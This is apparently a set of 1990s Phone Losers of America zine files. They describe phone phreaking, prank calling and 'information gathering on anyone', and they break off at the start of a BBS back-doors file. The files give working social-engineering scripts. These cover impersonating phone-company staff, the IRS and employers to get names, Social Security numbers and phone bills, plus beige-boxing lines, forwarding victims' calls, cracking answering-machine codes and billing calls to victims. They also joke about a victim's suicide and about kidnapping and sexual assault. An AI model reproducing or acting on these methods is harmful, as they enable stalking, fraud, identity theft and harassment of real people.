YOU: "Has your manager showed you how to send them in manually?"

HIM: "No."

YOU: "Okay, can you get a piece of paper and a pen so I can give you a number to write down?"

HIM: "Alright, hold on..." (Meanwhile, he's looking for a pen and lighting another Marlboro cigarette.) "...Okay, here's one."

YOU: "Okay, write down this number...72#-254©9723" (Be sure to speak slowly so he'll understand.)

HIM: "So I just dial this number?"

YOU: "Yeah, just dial that number and we'll get our reports. Be sure to do it right away so I can get done here and go home. And if it's busy, try it again and it should go through."

HIM: "Uhhhhhhhh....okay."

Hang up with him and wait for his call at the pay phone you're standing at. When it rings, answer, "Visa Batch Report Dudes. Is this Mr. Gullible Night Man?" or some other real-sounding greeting. Be sensitive to the night man's feelings and get rid of him as quickly as possible. After you hang up, all 7-Eleven's calls are forwarded to your pay phone and will be until the manager of the store finally figures out what is going on. (In other words, next year.)

Beige Boxing:

If your victim is just too damn smart and won't fall for your phone company schemes, your only choice is to do it yourself by plugging in your own telephone into the box on the outside of his house.

It's best to wait until really late at night when your victim is asleep. Visit his house first in the day time to case the joint, looking for the best places to hide, escape routes, etc, just in case somebody sees you and you have to haul ass. Also find out where his little phone box is on his house.

Bring your own telephone, a flathead screwdriver and a flashlight. Most houses have the new boxes where you simply open the box with the flathead screwdriver and plug your modular phone right it. If it's an older box you're going to have to chop the modular plug off your phone and replace it with some roach clips that you can clip into his line.

When you get into his line, try dialing an ANI number first to make sure that it's really his number. After you're sure, dial 72# and the number you want to forward his calls to. Close the box and go home!

Remote Call Forwarding:

I experimented with this feature in Indiana and it came in really handy. It works the exact same way except you don't have to forward the calls from their house, instead you can do it from any phone in the world. When you order Remote Call Forwarding from the billing office, the operator will give you the Remote Access Number and a personal pin number which you use to change the forwarding number.

For some reason, the phone companies don't think that it's a bad idea to just hand out pin numbers over the phone. So you call the Remote Access Number and it guides you through the system and asks you where you'd like your calls forwarded to. You're allowed to enter any area code and number. This means that you can't forward their calls to an Alliance number, 900 number or anything overseas.

So you're limited a little bit here, but it's still nicer to have and you can turn it off when they get home so they won't notice anything funny until the end of the month when they get their phone bill. (Unless you've forwarded their bill somewhere else.)

So call the billing office and ask them if they offer the remote call forwarding service. Another service to look for is Call Forwarding Busy. This service forwards your calls only when your line is busy.

Miscellaenous Notes:

When you forward someone's number and somebody calls that number, the person will hear a quick half-ring on their phone and then the call will be forwarded to wherever. This is to let them know that their calls are forwarded but usually only drives the owner of the phone crazy because they think someone is just calling them and hanging up.

To put their calls back to normal, you'd have to dial 73# (or *73) from their house or on the Remote Access Number. You can't call them and bullshit them into doing it because when you call them, you'll be reaching wherever you forwarded their calls.

People who find all their calls forwarded and somebody fucking with the people that call them usually don't seem to be too terribly happy when they get the phone bill. I can't figure out why.

Alliance Teleconferencing:

You can also use the forwarding trick and forward all of someone's phone calls to an AT&T Alliance number. These numbers offer teleconferencing for up to fifteen of your friends and the person who's phone you've forwarded get's stuck with the bill. Keep in mind, though, that when the person get's their phone bill, every number you dialed in Alliance is going to show up on the bill.

I have a very small list of Alliance numbers here. They all basically do the same thing and I've heard that different locations have different options and features, but you use them all pretty much the same way.

0-700-456-1000 Finds an open service to use.

0-700-456-1001 Reno, NY

0-700-456-1002 Chicago, IL

0-700-456-1003 White Plains, NY

0-700-456-1004 Dallas, TX

It doesn't really matter which one you want to use. I've always stuck with the Chicago number because it's the closest to me and it never seems to be busy. When you call to get your victim to forward his calls, you have to make sure he goes through the AT&T carrier so if he's not an AT&T subscriber, the number you would have him dial would be: 72#-10288-0-700-456-1002. To use the service after that, just call up your victim's house. You'll be connected to Alliance and he'll get the bill for it next month.

Once you've connected to the number, you'll hear a mind-piercing beep noise. An automated voice will ask you how many people you wish to have on the conference. On Chicago, 15 people is the max. If you ask for more than 15 people, the automated voice refers you to a different number.

The automated voice will tell you to dial your first number. Dial it in the fashion "1-xxx-xxx-xxxx" and you'll hear it ringing. After they answer, tell them what's going on and press the "#" key to add them to the conference.

That person will now be on a silent line since he's the first person you called. If you need to talk to him press "#" to go into the conference. To get back to the menu, press "#" again.

To add more people just repeat the same process over and over. After they answer the phone, press "#" to send them into the conference. When you want to stop adding people and join the conference yourself, press "#". To add more people, press "#" again. If the number you dial is busy, a wrong number, no answer or they don't want to talk on the conference, press "*" to disconnect them.

Fun Things To Do In Alliance:

If the phone you're calling from has 3-way calling on it, you can do the forwarding trick twice, call up two seperate Alliance numbers and you'll be able to have 30 people on at once instead of just 15. Believe me, though, 15 people is enough.

Call up Domino's Pizza or Pizza Hut. Have everyone join in and try to order a pizza all at once. Have everyone argue about the toppings, size and where it's to be sent to. The pizza man usually get flustered and just hangs up but it's good for a few laughs.

Call The White House and mess with them for awhile. Remember, if they trace the call, they'll only trace it to 7-Eleven or wherever you forwarded the calls from. You'll probably read in the paper the next morning about a clerk being arrested for espionage.

Dial numbers out of the phone book at random and just fuck with people.  Harrassing phone calls can be so much more fun when there's 15 people on the line. Remember, though, after you've added someone to the conference, there is no way you can get rid of them unless they hang up their phone. So if you make a prank phone call to someone, remember, they can stay on and listen in as long as they want.

The only way to throw them off is to hang up your phone and start all over or you can hit "#" and "0" to get an operator to kick them off. A way to avoid this, though, is have someone on the conference dial the victim's phone number on their 3-way calling rather than going through Alliance or use your own 3-way calling. Then you can hang up whenever you want to.

Dial a lot of overseas numbers and see who you can reach. You'll wake up a lot of people who are always startled to hear 15 people on their phone at once.

Add someone to the conference and ignore them. Make them think that none of you can hear them saying, "Hello? Helloooo? Who is this? Hello?"

Dial a number at random and when they answer, have everyone join in a chorus of "Crazy Train" by Ozzy Osbourne or any popular song and see if the person you called will join in with you. For best results try the theme song to "The Flintstones" or "The Brady Bunch".

Call about apartments for rent and tell them that all 15 of you are moving in.

Pretend to be trapped in a phone booth with all these people.

Miscellenous Fun Calls:

Here's a few ideas for you when you forward someone's number. These ideas are both from experience and just things I've been wanting to do for a long time. You know that annoying recording you get when you call a movie theater? On a Friday or Saturday evening, forward all the calls going to that recording line to your pay phone so when people call the recording to find out what's showing, they get you instead. This is probably the funnest thing to do with call forwarding. On weekend nights, the recording line is ringing off the hook.  After you've forwarded the Quad Cinema's line, pick one of these greetings when  you answer the phone...

1 "Quad Cinema, what the FUCK DO YOU WANT CALLING HERE!?"

2 "Quad Cinema, this had better be good. I'm busy."

3 "Quad Cinema, whadaya need?

4 "I suppose you're wanting to know what movies are playin'?"

5 "Thank you so much for calling the Quad Cinema on this beautiful, extraordinary Tuesday evening, this is Bob speaking how may I be of assisstance, oh mighty, faithful, godlike potential patron of my establishment."

Here are some answers to commonly asked questions...

T:"Are you open tonight?"

U:"Are we open tonight? That's probably the stupidest question I've ever heard.   It's Friday night of COURSE we're open. You think I just sit here all night answering the phone for dumbfucks like you while we're closed?"

T:"What movies are playing there?"

U:"What, you don't own a paper? Can't you go out and BUY a newspaper to find out what's playing? Why don't you go next door and borrow your neighbor's paper? Maybe you could have called the recording line instead of calling me?"

T:"Do you have senior citizens discounts?"

U:"How old are you?...68?...Geez, lady, you're OLD. You have one foot in the grave, don't ya? Actually, you sound older than 68. I'd guess 93 by the sound of your voice. Why do you want a senior discount? Are you on welfare and can't afford the extra two bucks admission or what? Or maybe you're savin' up for plastic surgery to get rid of those disgusting wrinkles all over your body."

T:"What rating is that movie?"

U:"It's rated NC-8. You have to be at least eight years old to see it because  it has lots of nudity and violence in it."

Tired of being a rude person? Try being a stupid person instead. This pisses people off even more than when you're rude.

T:"Yeah, what's playing there tonight?"

U:"I dunno."

T:"Isn't this the movie theater?"

U:"Yeah."

T:"So what movies do you have."

U:"Oh, you know...that one cop movie with the guy in it and that girl..."

T:"What are the prices of your tickets?"

U:"Beats me, you're askin' the wrong person."

T:"Is there someone there who can tell me?"

U:"Naw, I'm the only one here right now, they're all busy. I just come here on Friday and Saturday nights to answer the phone so the ticket lady doesn't have to."

T:"Don't you have a list or something there of what's playing?"

U:"Yeah, I got one at home but I forgot bring it with me tonight. You can call tomorrow and I'll probably have it. You can't expect me to memorize all that stuff."

T:"Could I speak to your manager?"

U:"He's workin' concession right now. If you wanna hold for about 20 minutes I can go fetch him."

Okay, now try being polite and giving off the wall, incorrect information. What really throws people off is when you tell them you're showing a sneak preview of a movie that doesn't exist that they'll really want to see like, "Home Alone 5" or"Silence Of The Lambs 2" or "Terminator 3." I can just picture the little girl's disappointment when she arrives at the theater all happy and then finds out that there really isn't a "Home Alone 3." Poor kid.

And then there's movies that have strange names that don't exist like, "Home Alone 3: Lost in Wazoo Coounty, Alabama" or "Bill & Ted's Homosexual Adventure (ratedXXX)" or perhaps "Snail." You know, that new documentary movie on the mating habits of Snails. A great movie for children to see.

T:"What's playing tonight?"

U:"Oh, I'm sorry, we had to close the theater down."

T:"Close it down?"

U:"Yeah, it was demolished by mistake. They were supposed to knock down the building next door but they accidentally got the adresses mixed up and tore down the theater instead. We were all devistated."

T:"What's showing tonight?"

U:"We have Debbie Does Des Moines and Backdoor Bonanza part III."

T:"Aren't those pornos?"

U:"Well, yeah, of course. Didn't you hear about the hostile takeover? We're strictly a porno theater now but we WILL let your children in as long as you accompany them in inside. You know, we still want to promote that family image."

Lemme tell ya, the customers' reactions are hilarious when you treat them this way. You might want to lug a video camera to the theater's lobby and tape all the angry people who drive there to yell at the manager. Here's a few ideas for forwarding a pizza place.

1 "Domino's Pizza, would you like to try our special tonight, Froot Loop Pizza? If you order two of them you get a free 2 liter of milk!"

2 "(Sing the lastest pizza jingle.)"

3 "Hello?....Huh?....Who is this, I was sleeping. It's almost 8:30, you know! Listen here, punk. I HAVE fucking CALLER I.D. and I'll KILL you if you call me again!!!"

U:"Domino's, may I help you?"

T:"Yeah, I'd like a large mushroom pizza."

U:"Oh, we're out of pizzas tonight, sir."

T:"Out of pizzas?"

U:"Yes, sir. We can still deliver you a Pepsi, though. Would you like a Pepsi tonight?  We're having a special."

U:"UPS, may I help you?"

T:"I thought this was Pizza Hut."

U:"Oh, it is, but we had a hostile takeover last week by the United Parcel Service so I have to answer the phone, 'UPS' now."

T:"You were bought out by UPS?"

U:"Yes, but we still offer the same quality service as ever and we deliver our pizzas in big, brown UPS trucks for fast, dependable service you can count on."

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

And PLEASE Don't Pay For Your Fone Calls!

Issue #020

Information Gathering On Anyone

Written On March 20, 1993 - Last Revision on February 12, 1995

This file will contain just about every way there is that I know of and have used to gather information on an individual. Also included throughout the file are samples of conversations you would use to get what you want. Most methods I've outlined here are completely annonymous and over the phone.

TABLE OF CONTENTS:

1.  Residential Billing Office

2.  Finding Out Info With Address (Library Methods)

3.  Using Radio Shack as a CNA

4.  Pretend To Be An Ameritech Recording

5.  Pretend To Be A Manager

6.  Become An Activist

7.  Answering Machine Hacking

8.  Impersonating The IRS

9.  Getting Copies Of Their Phone Bill

10. Finding Out What Their Number Is After They Changed It

11. Getting His New Number From ANI

Residential Billing Office:

Method one is called the phone company's Residential Billing Office which is the place you call up when you want to make changes in your phone service or to have a new phone service installed. When you get a phone service installed, you give them all kinds of useful information like your full name, address, where you work, your birthdate, social security number, etc.

You also give them the name of a friend or relative who they can contact in case they need to get in touch with you and so the long distance companies can call them everyday and beg them to sign up for their service. Is what I do to get all of this info on anyone I want is call up the residential office and pose as the owner of the phone wanting to make a change in my service. Of course, I cancel the change a few hours later so no one will ever know I was there. And it rarely fails to work for me. You can even get someone's private second number using this method.

When you call the office and say you want to make a change in your service, they immediately ask you for your phone number. When they type in your number they see on their computer screens a whole page of information on you. Hell, I wouldn't be surprised if they knew my dog's name. They'll usually say something like, "Okay, and you are Rich?" Presto! You now have their first name.

If they don't give you the name right away, ask for it. Say you're not sure who's on the bill now because you have so many roommates that live with you. They never fail to tell you.

Problems With This Method:

I've only found two problems with this method. One would be a paranoid gimp such as Darin McCall. If a person suspects someone is fooling around with his phone line and trying to make changes he can call up the residential office and ask them to password protect his line. This means that anyone who wants to do anything with his line including finding out any kind of information would have to tell the residential operator this password.

One way to get around this is to call your victim and pretend to be with the phone company, saying there's been some unusual activity on their account, etc, etc, and ask them what their password is. Another way I've gotten away with is to call the billing office and say I'd like to change my password. They ask for my number and then ask what I'd like my new password to be, forgetting to ask me what my current is. This has worked twice for me.

The second problem is people like me who give false information when they hook up their phone. When I got my phone service, I gave them a fake last name, a fake social security number, a billing address at a post office box and tell them I work for a bank or something like that. (That'll be the day.) Most people don't give the phone company false information because they really have no reason to. So don't rely on the information you gather 100%. There's a small chance that it could be bogus. (Very small!)

Sample Conversations:

Now I'll type out some sample conversations that I've had with the billing operators to show you how it's done, some problems you run in to and how to cover them up.

Dialing 800-244-4444...ring...ring...ring...

After selecting the correct information on their automated introduction, I'm connected with a live operator who has a terrible hangover from a bell party she went to last night...

HER:  Residential Billing, this is Sheila. May I help you?

YOU:  Naw, I was just calling for my health. I need to make a change in my service. I want call forwarding.

HER:  Okay, could I have your complete phone number?

YOU:  Sure, it's 618-797-2339. Do you want me to spell it?  (Note, I'm exaggerating the sarcasm just a tad bit.)

HER:  Okay...(type type type!)...Alright and who am I speaking to?

YOU:  Uhhh, this is Scott.

HER:  That's funny, I have a Robert as the billing name.

YOU:  Oh, him. That's my roommate. Robert Dawson, right?

HER:  No, Robert Coyner.

YOU:  Oh, yeah, him. We have two Roberts living here.

HER:  Okay, I see. (gives me a fake bell-type laugh.)

See how easy that is? Now the conversation would go on with her trying to sell you the special rate you get when you order three services or more. NEVER hang up as soon as you get the information. Always finish out the conversation and then call back later that day and cencel the service you ordered. Or you could do something like this...

HER:  Okay, we'll have call forwarding hooked up for you this Tuesday morning and the hook up fee will be a one-time charge of $15.65. Would you like that billed to you all at once or in payments?

YOU:  Oh, goodness gracious heavens to betsy! (Sounding shocked) That's a lot of money. I had no idea it would cost me that much. Maybe I should wait until Robert gets home and ask him if it's okay to pay that much since he is the one who pays the bill. He's my sugar daddy, you see. Could you take my order off and I'll have him call back this evening?

HER:  Sure, Scott, no problem. (I hear her scratching her underarm in the background.) Will there be anything else for you then?

YOU:  No, I think you've done just about enough for me today. (smirking)

HER:  Alright, well you have a really nice day.

YOU:  And you have a cheesy evening. Happy Haunaka.

So now you've got the name. It's Robert Coyner. So you call up the billing office again and of course you get a totally different operator. I have called them many times and never get the same operator more than once. Kind of like lightning never striking twice in the same place.

YOU:  Hi, this is Robert and I want to make some changes in my service.

HER:  Okay, could I have your billing number?

YOU:  No...Just kidding! It's 618-797-2339.

I won't go into detail on this. Just order call forwarding again and near the end of the conversation say...

YOU:  Oh, by the way I'm employed by a different company now. Do you want to put the new one in there?

HER:  (Surprised because no one ever asks this.) Oh, sure! Where do you work now?

YOU:  (Proudly) I'm a garbage man for the city of Roxana. (Wiping a tear from my eye.) Is my old job at 7-Eleven still listed in there?

HER:  No, we still have you listed as the assistant manager of K-Mart.

YOU:  Yeah, that's where I worked at before I went for my career as a stock boy at the supermarket.

Presto, you now know where they worked when they installed their phone service. Of course, they could have changed jobs by now but at least you have something. You want the social security number? Well, on a totally different call you do basically the same thing.

YOU:  Oh, by the way, I finally found my social security number. Do you want me to give that to you?

HER:  (Confused) What are you talking about? We have your social security number right here in the computer.

YOU:  Well, that's strange. When I applied for my service, I couldn't find my social security card and never gave it to them. Maybe my wife called and gave it to you. What number do you have there?

HER:  341-69-3926

YOU:  Hmmm, well that's my number. My wife must have called already. That bitch, I'm going to have to beat her when she gets home.

Just don't forget to call back and cancel the services you've ordered after a few hours. (Or right away, it doesn't matter.) A word to the wise, if you're planning to make some harrassing changes in their service, don't do it from your home phone. This IS an 800 number and they can find out where the call is comming from if they need to. This happened to me when I canceled a former boss's phone service. My district manager confronted me saying that the call had come from my work phone. (Where I had made the call from.)

The Public Library:

Every library has what is called a criss-cross directory, usually published by Haines or Cole's. This book will list every listed phone number in order. You simply find the phone number you're looking for and if it's listed, the name and address will be next to it.

Another method of searching is by address. All the addresses in the city are also listed in order so you can look someone up by their address. To get the information you need, call the library and just tell them what you need and they're usually happy to give it to you. Just remember, when you make Conan the Librarian jokes, the lady gets pissed off.

Also, you can go into the library and ask to look at the directory. When she gives it to you, sneak off to a secluded isle and shove the book in your jacket and haul ass. This is a handy book to own.

Using Radio Shack As A CNA:

This may sound crazy, but I swear it has worked for me. Again, you have somebody's phone number but you don't have their address or their name. If it's late in the day and the phone company's billing office has already closed down for the day, Radio Shack is always open until 9:00!

A few years ago, Radio Shack got was using those old fashioned digital cash registers to ring up sales and using their TRS-80 color computer to send in the nightly reports to Fort Worth, TX. Finally, they decide to go high tech like all the other low income electronic stores and do everything on a computer. And everyone who shops there are probably familiar with the salesman asking you, "Could I have the last four digits of your phone number?"

When you give them these four numbers, they get a small list of maybe two or three names who have those four digits for their phone number. This is where we come in with a phone call to their store...

BOB:  Thank you for calling Radio Shack, Amierica's Technology store. You've got questions? We've got answers! This is Bob, how may I help you this evening. (I wonder if they could make that introduction any longer?)

YOU:  Hi, Bob. This is Frank from Radio Shack #1365 here at St. Louis Center. I just had a kid come in here and get a refund for something he bought yesterday and after he left I took the thing apart and the whole inside is missing from it.

BOB:  (In astonishment) You're kidding...

YOU:  Nope, all I got here is the casing to a $250 police scanner. Now he gave me his real phone number and he lives there in your area and I need you to type the digits 3902 and see what you come up with there.

BOB:  (Typing)...I have three listings here.

YOU:  Okay, could you read off all three names? I'm going to find out which one of them is him and call up the police.

It's that easy. If the person you're looking for has shopped at that Radio Shack store in the last year, you've probably got his name and address now.  If that store didn't work, try another one. And another, and another, and another until you find one that he's shopped at. Everyone shops at Radio Shack SOMEtime. Remember, the name you have could be someone else that lives with him, but at least you've got a start.

Pretend To Be The Ameritech Recording:

This one works especially well with elderly people. You call up the number you have and pretend to be the Phone Directory's automated system. Here's what you say after they answer:

(In a clear and distinguished voice) Hello! This is the Illinois Bell Ameritech automated address and phone number system. To ensure that your information appears correctly in the 1995 edition of the phone book, please state your Name, Address, City and phone number after the tone. If you wish to remain unlisted this year, please say so after stating your information. Thank you for choosing Illinois Bell...  (beep!)

A non-touch tone beep can be generated by pressing the 1 and 2 buttons on your phone at the exact same time unless you have a generic telephone. Most people will state their information but there are those who are skeptical and will just hang up. If you want, be persistant and keep calling them.

After they give you their information, you can mess with their minds if you want to by saying things like, "Thank you! Now please state your Visa card number...okay, now state your bra size...What color is your phone...What color is your toilet...Please state your lover's name..."

Pretend To Be A Manager:

If you know of a place where your victim has worked or is working you can call up their employer and squeeze a little information out of him. The conversation would go something like this:

(In this example you're calling McDonald's)

MCDS: (Cheery girl) McDonald's, may I help you?

YOU: Yeah, put your boss on the phone, you little tramp!

MCDS: (Still cheery) Thank you, please hold on...

YOU: (Waits for her to go fetch the manager from flipping burgers.)

MCDS: Hi, this is Manager Jerry speaking. (Who's he trying to impress??)

YOU: Hi, Jerry, this is Walter from Blockbuster Video rentals in Belleville. I'm doing a reference check on a John Light you had working there. I need to know the dates of his hire and termination and I need to know whether he was fired or if he quit.

MCDS: Okay, hold on just one second...(He digs through that highly sophisticated filing system that only a McDonald's manager could devise. He finds John's files mixed in with a box of hairnets.)

MCDS: Here it is. I have John hired on July of 1992 and he quit on August of 1992. (How long do you expect someone to last at a place like that?)

YOU: And he quit? He wasn't fired?

MCDS: No, he quit. But he was a dandy little worker, he was.

YOU: Okay, that's all I really needed to know. Oh, by the way, would you happen to have his phone number there on his application? It looks like he forgot to write his down here.

MCDS: Uh, sure. It's 254-4016.

YOU: Boy, are you dumb. I'm just some kid trying to get this guy's phone number. Have a nice future at McDonald's, you twit. (Hangs up.)

So maybe I didn't say that last part, but I have tried this twice now, once at Long John Silver's and at McDonald's and it worked both times. I think asking for his phone number just kind of catches the guy off guard and he rattles it off with no hesitation. If it doesn't work one place, try another place he worked at. You might also try getting a social security number like this. You could probably do the same thing for other information such as him social security number and his underwear size.

Be An Activist:

You only have their address and the library won't give you any information you need so your only choice is to become an activist and start a petition. Get a clipboard, paper and a pen. Quickly write up a petition to save something worthwhile like, "We the undersigned, are petitioning against the city's decision to tear down our local grade school and turn it into a landfill." Make up a whole bunch of names and sign them to your petition. Get about 25 names to make it look legitimate.

Now go up to the guy's door and knock. When he answers have a prepared speech ready about what you're petitioning against and convince him to sign it too. Be really friendly and outgoing with him so he'll like you and want to help you out. You might also ask him to include his phone number after he's signed his name so you can contact him about other local situations that might affect him. Who knows, he could fall for that one.  Assuming you can decipher his adult signature, you now know who lives there.

Answering Machine Hacking:

The answering machines that let you call in remotely and retrieve your messages are very commonplace these days. The owner of the machine can simply call his own house from the office and punch in a small code to listen to his messages. For us, it's a guaranteed lode of information. Their messages can contain all sorts of useful information such as phone numbers to close friends and relatives, when they'll be out of town, who their doctor is, where they work, just about anything. When someone leaves a message they assume that only the person they're leaving it for will hear it. Fools.

Usually the code is only two digits long and very easy to break. On one brand of machine the code is only one digit long and on some it can be three. Wait until their not home and start working on their machine. Call their house and after the tone start hitting random numbers to see if you can break the code.  Here are some helpful guidelines:

o A standard feature on a lot of brands of machines lets you not have to listen to their outgoing message everytime you call. If you get sick of the outgoing message try pressing "*" and sometimes that will bring you directly to the beep.

o Some machines only give you a certian amount of time to press in the security code so if you're not quick enough it'll hang up on you. Call back and try again.

o Other machines want you to press and hold the numbers of the code for about one second. So start from "1" and work your way up until you either hit the code right or it takes too long and hangs up on you.

When you're trying codes try every number once and then do the same thing again over and over until you've hit the right number. Most answering machines are just looking for those right two numbers and don't care what else you're hitting.

After you've finally got it, keep calling back and use the process of elimination to narrow your way to their code. Let's say that when you hit "123456" it lets you in. Next time you call, try "12345" and see if you still get in. If you do, try "1234" and so on until you eliminate your way down to their two or three number code.  You'll know when you've broken in when it starts giving you weird beeping noises.

After you've figured out their code, sometimes you have to dial one more number to hear the messages. Most of the time the machine will automatically play the messages after you put in the security code but on some you have to dial number "1" or something like that. Not really that hard to figure out.

For the more malicious people out there, you can do more than just listen to their messages, a lot of machines will let you change the outgoing message, erase all the messages and monitor all the sounds in their house. Of course, when you start fucking around with them, they know you're there and the whole purpose is defeated.

Now that you've figured out their code, you want to call every day that you can and take notes of all the messages that you hear. Even the small things could mean something to you one of these days so write down every name and phone number that's put on there. Write down all the personal information you hear because you never know what you'll be able to use in the future.

Try to make sure you're not erasing his messages every time you call or he'll start to wonder why he never gets messages anymore. Sometimes an answering machine will automatically erase the messages after you've listened to them remotely unless you put in a code afterwards.

This Is The IRS, Pal.

Recently, I called up a few hospitals where someone I knew worked and I neede a little information on him. I was amazed at how easily they give out information when they think you work for the IRS. I was able to get his social security number, phone number, home address and they even told me where else had wrote down that he worked at in the past.

Call up the place where he works. If it's a bigger type business such as a hospital or the White House, ask for the personell department.

HER:  Yes, this is Sherry, may I help you?

YOU:  Hi, Sherry, this is John from the IRS. We've been investigating an employee we think is working there for you. Could you tell us if there's a Beavis Martin working there?

HER:  Just a second......Yes, he's working here.

YOU:  Okay, do you have a fax machine there where you could fax me his job application and tax forms?

HER:  No, we don't have a fax machine.

YOU:  Could I just get a little inforamtion over the phone then?

HER:  Sure.

If it's a little business like a video store or something, they usually won't have a fax machine so you have nothing to worry about. If it's a bigger business they might have them so you wouldn't want to ask them that unless you have a fax machine where you can recieve the fax. Or you could always have them fax the papers to a local copy shop where you can pick them up. (Wait a second, I think I'm repeating myself here...)

Ask the lady what social security number he put down explaining that he has been known in the past to write down bogus numbers to avoid paying taxes. Ask what his phone numbers is, and anything else you feel would be useful for you. Tell her that this whole thing is strictly hush-hush and that she shouldn't mention to Beavis that you're investigating him. This will really lower her opinion of her employee, knowing that he's into tax fraud.

Getting a Copy of Their Phone Bill:

First of all, you need an address where the phone company can send their bill to. You don't want to use your own address as that would be really stupid of you. Get a bogus p.o. box, vacant house, or fill out a change of address card and forward mail going to a certian address in his name to you.

Call the residential billing office and explain to them that you want all your future phone bills to be sent to a p.o. box instead of your home from now on. She'll gladly make that change and his next phone bills will start arriving at the new p.o. box.

Now you want to get copies of their past phone bills. Call up the residential office again and tell them that the company you work for has agreed to reimburse you for all the company-related calls you've made from your home in the last four months but you've thrown all your phone bills away. Ask them if they can mail you your last four or five phone bills. They can and they will.

Now in two weeks you'll recieve copies of his phone bills from the last four months and be able to see all the long distance calls he makes. After you get the bills you'll want to call the residential office again and change his billing address back to how it was so he won't know anything ever happened.

Another thing to do if you want to continue recieving his phone bills and don't really care if he knows is to call the billing office and tell them on your next phone bill you want a list of every local number that was dialed so you can "see why your kid's making so many phone calls". My dad did that to me once and there was about fifty pages of bulletin boards I'd called, not to mention third number billed calls.

Knowing what he calls locally will help you out a lot. You'll be able to see exactly what he and his family calls, who his friends are, their may be some personal numbers in there that he calls, etc. You can also see if he's the type of person to call phone sex alot.

One more thing, if you'd like to get a new calling card number, since you now recieve his phone bills, you can order a calling card for yourself and you'll recieve it just like you do his phone bill.

Finding Out His Number When He Changes It:

Let's say our man is fed up with us. He's tired of having his boss question him about tax evasion, tired of having his phone bill messed with, tired of people playing on his answering machine, and tired of petitioners comming to his door all the time. He decides to pay the $90 to have his phone number changed to an unlisted number.

Ha!, you think. He's just wasted $90 because I'm going to get his new number. If you've been watching this guy closely you'll know who his best friends are and who his relatives are. You know exactly who calls him alot because you've been monitoring his answering machine for two months now. Maybe it's his poor mother across town or maybe it's his best friend that you'll pick, it doesn't really matter.

Now it's very simple. Let's say you pick his mom and dad's house. Call the phone company's billing office and pretend to be the dad or have a girlfriend pretend to be the mom. You'll be doing basically what you did to get copies of his phone bill but this time you're going to get copies of his parents phone bill. First, tell the billing office you want every local number accounted for on your bill. Then call them back later and change their billing address to your p.o. box.

Now just to make sure that they're going to call thier son, you can call them and leave messages on their machine saying that you're their son and to call him when they get in, it's important. Even if his parents can tell that you're not really him, they'll probably call him and tell him what happened.

At the end of the month, you'll get their bill which will have every locally called number on it which will include their son's new phone number. Call up their son and say, "Ha ha! You can't hide from me!" Read in the paper the next morning about how he committed suicide by hanging himself with his telephone cord.

Oh, and while you're at it, doesn't mom and dad need some new calling cards?

Getting His New Number From ANI:

Otherwise known as Automatic Number Identification. This means that in the middle of the night you go to his house, open his phone box, plug in your phone and dial the ANI number which will read off his new number to you. You could also call up a friend that has Caller I.D. The best ANI I know of is 1-800-MY-ANI-IS.

Just make sure to be really quiet out in his back yard and watch out for those motion sensor lights that everyone has these days. Those things will be the death of people like me.

If you have any additions or comments about this file, please contact me.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #021

The Official Job Application To Join The PLA

Written On  February 19, 1995 - Last Revision on March 28, 1995

So...you want to be a PLA member? Well, here's your chance to finally make a dream come true. Complete the following application, send it in and you're on your way to fame, fortune and police raids.

Initiation:

First of all, you have to prove that you're PLA material. You must complete the following stunts and have proof that you've actually done these things. Proof can be photographs, copies of police reports, video tapes of nightly news documenting your stunt(s) and/or newpaper clippings.

1. Kidnap and sexually assault at least twelve employees of Bell, AT&T or GTE.

2. Construct a working pay phone key and clean out all pay phones in the city and mail all of the money to me.

3. Get a hand written note from Kevin Mitnick telling you to leave him the hell alone. (...)

4. Must harrass a voicemail company and their customers to the point of putting them totally out of business.

5. Find a telco box, paint it red, piss on it and take a picture of it.

PLA Characteristics:

Members of the PLA must have certain characteristics and must be able to do certain things that make them a true Phone Loser. If you're missing one or more of the following traits, please don't pursue this application any further and come back when you're worthy.

1. You must be able to make a phone ring with the wave of your hand.

2. You have to have codes flying out of your ass backwards.

3. If phone company security ever decides to investigate you, you have to make them wish they had never started by ruining their life.

4. You must be able to hassal Chris Tomkinson in your sleep.

5. Checks from the AT&T Refund Center in Jacksonville, Florida should be arriving at your house by the crateloads.

6. On an average day, you spend at least two hours cooped up in a phone booth, dialing random numbers around the world, harrassing people for fun.

7. You must be able to construct a red box blindfolded and with your hands tied behind your back.

8. Have the entire script to the movie "Wargames" memorized. (Who doesn't??)

Test:

Finally, here's the Phone Loser test. Answer all questions to the best of your knowledge, fully and honestly, without help from your parents.

1. A Bell employee is in your house installing a phone. List three ways that you can distract him so you can snag his tool belt.

A:________________________________

B:________________________________

C:________________________________

2. You're on the phone with an operator. What are three proven ways to make her cry and/or quit her job?

A:__________________________________

B:__________________________________

C:__________________________________

3. Write a brief description of what the word "cactus" means to you.

4. Jim Bayless from Ameritech Corporate Security calls you at home and tells you that he's finally caught you and that you're in the hot seat now. What do you do?

A: Start bawling and admit everything.

B: Pull up his file on your computer and start reciting all of his personal information just to shut him up.

C: Order a calling card to his home.

Okay, so that's it. You've completed the PLA job application. If you've  answered all the test questions and you feel that you meet the criteria, mail this application to your local police department and they will forward it to us. Be sure to include your name, address and phone number so we'll be able to get back with you. (And run a credit check on you and order you a calling card.) Thanks for your time!

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #022

BBS Back Doors & Flaws

written by Pestilence

Written On  February 17, 1995 - Last Revision on February 19, 1995

Well, this is Pestilence here and I thought I would be nice and produce a file on how to hack boards through backdoors etc. First I'd like to thank The Cracker, Vision, and The Joker. They gave me most of my knowledge on back doors.

In the course of your BBS career you will come across a dumb ass sysop that for some reason or another you just can't stand. Maybe he caught you typing in sysop commands, or he dropped your access, or he caught you in bed with his wife and you just want to HACK his board. Well this file is for you. I tried to include as many doorz as i could remember. Some versions may be too old for the doorz and some may be too new so if they dont work email me at (512).fuck.off and I'll be glad to laugh at you...

RBBS:

Well, there aren't any known back doors but because of faulty language programming there are some flaws....

Bug 1

Versions this is known to work on... cpc 12.1c and earlier

Proceedure : Download sysops password

